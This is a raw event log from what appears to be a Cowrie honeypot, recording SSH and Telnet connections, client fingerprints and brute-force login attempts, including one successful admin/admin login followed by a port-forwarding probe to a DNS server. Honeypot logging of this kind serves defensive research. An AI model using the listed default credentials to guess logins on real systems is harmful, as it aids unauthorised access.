{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:35.367514Z","src_ip":"190.244.39.232","session":"abd1eb74adc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:35.564759Z","src_ip":"190.244.39.232","session":"abd1eb74adc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmodserver123","message":"login attempt [gmodserver/gmodserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:36.368850Z","src_ip":"190.244.39.232","session":"abd1eb74adc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":8733,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f52573fedc","protocol":"ssh","message":"New connection: 112.151.178.49:8733 (10.17.0.5:22) [session: 02f52573fedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:37.419075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:37.424116Z","src_ip":"112.151.178.49","session":"02f52573fedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:37.574003Z","src_ip":"190.244.39.232","session":"abd1eb74adc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:37.629473Z","src_ip":"112.151.178.49","session":"02f52573fedc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa1234567890@","message":"login attempt [ubuntu/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:38.481882Z","src_ip":"112.151.178.49","session":"02f52573fedc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:39.689893Z","src_ip":"112.151.178.49","session":"02f52573fedc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"320cb9863c0c","protocol":"telnet","message":"New connection: 137.184.155.248:42628 (10.17.0.5:23) [session: 320cb9863c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:40.062111Z"}
{"eventid":"cowrie.session.closed","duration":49.23605251312256,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:45.227023Z","src_ip":"137.184.155.248","session":"a8856ba28bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.80512833595276,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:48.568684Z","src_ip":"137.184.155.248","session":"5bdc609b4ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38694,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3089a91023","protocol":"telnet","message":"New connection: 137.184.155.248:38694 (10.17.0.5:23) [session: 5a3089a91023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:49.444928Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.173.243.171","src_port":48611,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e17073bddc","protocol":"telnet","message":"New connection: 68.173.243.171:48611 (159.203.135.109:23) [session: 90e17073bddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:37:50.366222Z"}
{"eventid":"cowrie.session.closed","duration":12.681662559509277,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:03.047817Z","src_ip":"68.173.243.171","session":"90e17073bddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60762,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dddf907b2c3","protocol":"telnet","message":"New connection: 137.184.155.248:60762 (10.17.0.5:23) [session: 1dddf907b2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:03.982929Z"}
{"eventid":"cowrie.session.closed","duration":120.00168657302856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:05.966161Z","src_ip":"31.43.241.152","session":"ce920724351f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":48340,"dst_ip":"159.203.135.109","dst_port":23,"session":"575f110322f6","protocol":"telnet","message":"New connection: 31.43.241.152:48340 (159.203.135.109:23) [session: 575f110322f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:06.294482Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":48286,"dst_ip":"10.17.0.5","dst_port":22,"session":"00e118022b55","protocol":"ssh","message":"New connection: 58.186.20.101:48286 (10.17.0.5:22) [session: 00e118022b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:11.075715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:11.080083Z","src_ip":"58.186.20.101","session":"00e118022b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60776,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ef992feaec","protocol":"telnet","message":"New connection: 137.184.155.248:60776 (10.17.0.5:23) [session: f1ef992feaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:11.187643Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:11.337780Z","src_ip":"58.186.20.101","session":"00e118022b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superuser","message":"login attempt [admin/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:12.398227Z","src_ip":"58.186.20.101","session":"00e118022b55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.776339530944824,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:12.770377Z","src_ip":"137.184.155.248","session":"28c837ed5b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:13.658646Z","src_ip":"58.186.20.101","session":"00e118022b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37956,"dst_ip":"10.17.0.5","dst_port":22,"session":"a20077aa992f","protocol":"ssh","message":"New connection: 87.251.64.176:37956 (10.17.0.5:22) [session: a20077aa992f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.114862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.119405Z","src_ip":"87.251.64.176","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.215347Z","src_ip":"87.251.64.176","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.00582838058472,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.335355Z","src_ip":"137.184.155.248","session":"d3fc197bcd86","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.505814Z","src_ip":"87.251.64.176","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.606894Z","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.705999Z","src_ip":"87.251.64.176","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:17.942108Z","src_ip":"87.251.64.176","session":"a20077aa992f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.06003785133362,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:19.852510Z","src_ip":"137.184.155.248","session":"1366caed6c11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52064,"dst_ip":"10.17.0.5","dst_port":23,"session":"35cec1eac604","protocol":"telnet","message":"New connection: 137.184.155.248:52064 (10.17.0.5:23) [session: 35cec1eac604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:25.508120Z"}
{"eventid":"cowrie.session.closed","duration":45.88111615180969,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:25.943154Z","src_ip":"137.184.155.248","session":"320cb9863c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49232,"dst_ip":"10.17.0.5","dst_port":23,"session":"f15a4f56232f","protocol":"telnet","message":"New connection: 137.184.155.248:49232 (10.17.0.5:23) [session: f15a4f56232f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:32.738616Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":22301,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca3c474d7eb","protocol":"ssh","message":"New connection: 112.151.178.49:22301 (10.17.0.5:22) [session: 4ca3c474d7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:33.028641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:33.033056Z","src_ip":"112.151.178.49","session":"4ca3c474d7eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:33.238728Z","src_ip":"112.151.178.49","session":"4ca3c474d7eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome#12345","message":"login attempt [ubuntu/Welcome#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:34.091879Z","src_ip":"112.151.178.49","session":"4ca3c474d7eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3c9ebfcc264","protocol":"telnet","message":"New connection: 137.184.155.248:49236 (10.17.0.5:23) [session: f3c9ebfcc264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:34.576702Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:35.299295Z","src_ip":"112.151.178.49","session":"4ca3c474d7eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.01392579078674,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:38.458724Z","src_ip":"137.184.155.248","session":"5a3089a91023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49246,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eef7b688b05","protocol":"telnet","message":"New connection: 137.184.155.248:49246 (10.17.0.5:23) [session: 5eef7b688b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:39.064764Z"}
{"eventid":"cowrie.session.closed","duration":45.73378801345825,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:49.716567Z","src_ip":"137.184.155.248","session":"1dddf907b2c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.75888633728027,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:38:56.946383Z","src_ip":"137.184.155.248","session":"f1ef992feaec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"956aaa48caf4","protocol":"telnet","message":"New connection: 137.184.155.248:37134 (10.17.0.5:23) [session: 956aaa48caf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:00.832844Z"}
{"eventid":"cowrie.session.closed","duration":48.182278633117676,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:13.690252Z","src_ip":"137.184.155.248","session":"35cec1eac604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.69413709640503,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:19.432574Z","src_ip":"137.184.155.248","session":"f15a4f56232f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.16734266281128,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:21.743948Z","src_ip":"137.184.155.248","session":"f3c9ebfcc264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.25907635688782,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:22.323723Z","src_ip":"137.184.155.248","session":"5eef7b688b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36656,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc5aaf8fdeb4","protocol":"telnet","message":"New connection: 137.184.155.248:36656 (10.17.0.5:23) [session: bc5aaf8fdeb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:24.155230Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":36662,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c00745203e8","protocol":"telnet","message":"New connection: 137.184.155.248:36662 (10.17.0.5:23) [session: 5c00745203e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:25.944021Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":34411,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc279cdef15","protocol":"ssh","message":"New connection: 112.151.178.49:34411 (10.17.0.5:22) [session: 3bc279cdef15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:29.399018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:39:29.404038Z","src_ip":"112.151.178.49","session":"3bc279cdef15","protocol":"ssh"}
